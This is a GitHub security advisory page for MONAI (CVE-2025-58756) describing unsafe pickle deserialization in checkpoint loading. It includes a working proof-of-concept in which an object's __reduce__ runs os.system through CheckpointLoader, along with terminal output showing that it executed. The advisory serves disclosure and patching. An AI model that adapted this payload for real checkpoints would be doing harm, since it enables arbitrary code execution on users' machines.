GHSA-6VM5-6JV9-RJPJ

Vulnerability from github – Published: 2025-09-09 21:19 – Updated: 2025-09-26 16:39
VLAI?
Summary
MONAI: Unsafe torch usage may lead to arbitrary code execution
Details

Summary

In model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True) in monai/bundle/scripts.py , weights_only=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.

This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.

Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.

The following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.


import os  
import tempfile  
import json  
import torch  
from pathlib import Path  

class MaliciousPayload:  
    def __reduce__(self):  
        return (os.system, ('touch /tmp/hacker2.txt',))  

def test_checkpoint_loader_attack():  



    temp_dir = Path(tempfile.mkdtemp())  
    checkpoint_file = temp_dir / "malicious_checkpoint.pt"  


    malicious_checkpoint = {  
        'model_state_dict': MaliciousPayload(),  
        'optimizer_state_dict': {},  
        'epoch': 100  
    }  


    torch.save(malicious_checkpoint, checkpoint_file)  


    from monai.handlers import CheckpointLoader  
    import torch.nn as nn  


    model = nn.Linear(10, 1)  

    loader = CheckpointLoader(  
        load_path=str(checkpoint_file),  
        load_dict={"model": model}  
    )  

    class MockEngine:  
        def __init__(self):  
            self.state = type('State', (), {})()  
            self.state.max_epochs = None  
            self.state.epoch = 0  

    engine = MockEngine()  
    loader(engine)  


    proof_file = "/tmp/hacker2.txt"  
    if os.path.exists(proof_file):  
        print("Succes")  
        #os.remove(proof_file)  
        return True  
    else:  
        print("False")  
        return False  

if __name__ == "__main__":   
    success = test_checkpoint_loader_attack()  

Because my test environment is missing some content, an error will be reported during operation, but the operation is still executed.

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  checkpoint_pwned.txt  hacker1.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid  tmpgjp8145d  tmpi3_u3wn8  tmpjvuhwif6  tmpkocoo34q  tmpp3q8occa
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python p2.py 
Traceback (most recent call last):
  File "/root/autodl-tmp/mmm/p2.py", line 61, in <module>
    success = test_checkpoint_loader_attack()  
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/root/autodl-tmp/mmm/p2.py", line 48, in test_checkpoint_loader_attack
    loader(engine)  
    ^^^^^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/monai/handlers/checkpoint_loader.py", line 146, in __call__
    Checkpoint.load_objects(to_load=self.load_dict, checkpoint=checkpoint, strict=self.strict)
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 624, in load_objects
    _tree_apply2(_load_object, to_load, checkpoint_obj)
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 209, in _tree_apply2
    _tree_apply2(func, _CollectionItem.wrap(x, k, v), y[k])
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 216, in _tree_apply2
    return func(x, y)
           ^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 613, in _load_object
    obj.load_state_dict(chkpt_obj, **kwargs)
  File "/root/miniconda3/lib/python3.12/site-packages/torch/nn/modules/module.py", line 2581, in load_state_dict
    raise RuntimeError(
RuntimeError: Error(s) in loading state_dict for Linear:
        Missing key(s) in state_dict: "weight", "bias". 
        Unexpected key(s) in state_dict: "model_state_dict", "optimizer_state_dict", "epoch". 
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  checkpoint_pwned.txt  hacker1.txt  hacker2.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid  tmpgjp8145d  tmpi02txakb  tmpi3_u3wn8  tmpjvuhwif6  tmpkocoo34q  tmpp3q8occa

Impact

Leading to arbitrary command execution

Fix suggestion

Use a safe method to load, or force weights_only=True

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "monai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58756"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-09T21:19:59Z",
    "nvd_published_at": "2025-09-09T00:15:32Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nIn ```model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True)``` in monai/bundle/scripts.py , ```weights_only=True``` is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.\n\nThis is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.\n\nLoading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.\n\nThe following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.\n\n```\n\nimport os  \nimport tempfile  \nimport json  \nimport torch  \nfrom pathlib import Path  \n  \nclass MaliciousPayload:  \n    def __reduce__(self):  \n        return (os.system, (\u0027touch /tmp/hacker2.txt\u0027,))  \n  \ndef test_checkpoint_loader_attack():  \n\n      \n\n    temp_dir = Path(tempfile.mkdtemp())  \n    checkpoint_file = temp_dir / \"malicious_checkpoint.pt\"  \n      \n\n    malicious_checkpoint = {  \n        \u0027model_state_dict\u0027: MaliciousPayload(),  \n        \u0027optimizer_state_dict\u0027: {},  \n        \u0027epoch\u0027: 100  \n    }  \n      \n\n    torch.save(malicious_checkpoint, checkpoint_file)  \n      \n     \n    from monai.handlers import CheckpointLoader  \n    import torch.nn as nn  \n          \n \n    model = nn.Linear(10, 1)  \n        \n    loader = CheckpointLoader(  \n        load_path=str(checkpoint_file),  \n        load_dict={\"model\": model}  \n    )  \n          \n    class MockEngine:  \n        def __init__(self):  \n            self.state = type(\u0027State\u0027, (), {})()  \n            self.state.max_epochs = None  \n            self.state.epoch = 0  \n          \n    engine = MockEngine()  \n    loader(engine)  \n          \n          \n    proof_file = \"/tmp/hacker2.txt\"  \n    if os.path.exists(proof_file):  \n        print(\"Succes\")  \n        #os.remove(proof_file)  \n        return True  \n    else:  \n        print(\"False\")  \n        return False  \n  \nif __name__ == \"__main__\":   \n    success = test_checkpoint_loader_attack()  \n\n```\nBecause my test environment is missing some content, an error will be reported during operation, but the operation is still executed.\n```\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp\nautodl.sh.log  checkpoint_pwned.txt  hacker1.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid  tmpgjp8145d  tmpi3_u3wn8  tmpjvuhwif6  tmpkocoo34q  tmpp3q8occa\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python p2.py \nTraceback (most recent call last):\n  File \"/root/autodl-tmp/mmm/p2.py\", line 61, in \u003cmodule\u003e\n    success = test_checkpoint_loader_attack()  \n              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/root/autodl-tmp/mmm/p2.py\", line 48, in test_checkpoint_loader_attack\n    loader(engine)  \n    ^^^^^^^^^^^^^^\n  File \"/root/miniconda3/lib/python3.12/site-packages/monai/handlers/checkpoint_loader.py\", line 146, in __call__\n    Checkpoint.load_objects(to_load=self.load_dict, checkpoint=checkpoint, strict=self.strict)\n  File \"/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py\", line 624, in load_objects\n    _tree_apply2(_load_object, to_load, checkpoint_obj)\n  File \"/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py\", line 209, in _tree_apply2\n    _tree_apply2(func, _CollectionItem.wrap(x, k, v), y[k])\n  File \"/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py\", line 216, in _tree_apply2\n    return func(x, y)\n           ^^^^^^^^^^\n  File \"/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py\", line 613, in _load_object\n    obj.load_state_dict(chkpt_obj, **kwargs)\n  File \"/root/miniconda3/lib/python3.12/site-packages/torch/nn/modules/module.py\", line 2581, in load_state_dict\n    raise RuntimeError(\nRuntimeError: Error(s) in loading state_dict for Linear:\n        Missing key(s) in state_dict: \"weight\", \"bias\". \n        Unexpected key(s) in state_dict: \"model_state_dict\", \"optimizer_state_dict\", \"epoch\". \nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp\nautodl.sh.log  checkpoint_pwned.txt  hacker1.txt  hacker2.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid  tmpgjp8145d  tmpi02txakb  tmpi3_u3wn8  tmpjvuhwif6  tmpkocoo34q  tmpp3q8occa\n```\n\n\n### Impact\nLeading to arbitrary command execution\n### Fix suggestion\nUse a safe method to load, or force weights_only=True",
  "id": "GHSA-6vm5-6jv9-rjpj",
  "modified": "2025-09-26T16:39:51Z",
  "published": "2025-09-09T21:19:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-6vm5-6jv9-rjpj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58756"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Project-MONAI/MONAI/pull/8566"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Project-MONAI/MONAI/commit/948fbb703adcb87cd04ebd83d20dcd8d73bf6259"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Project-MONAI/MONAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MONAI: Unsafe torch usage may lead to arbitrary code execution"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…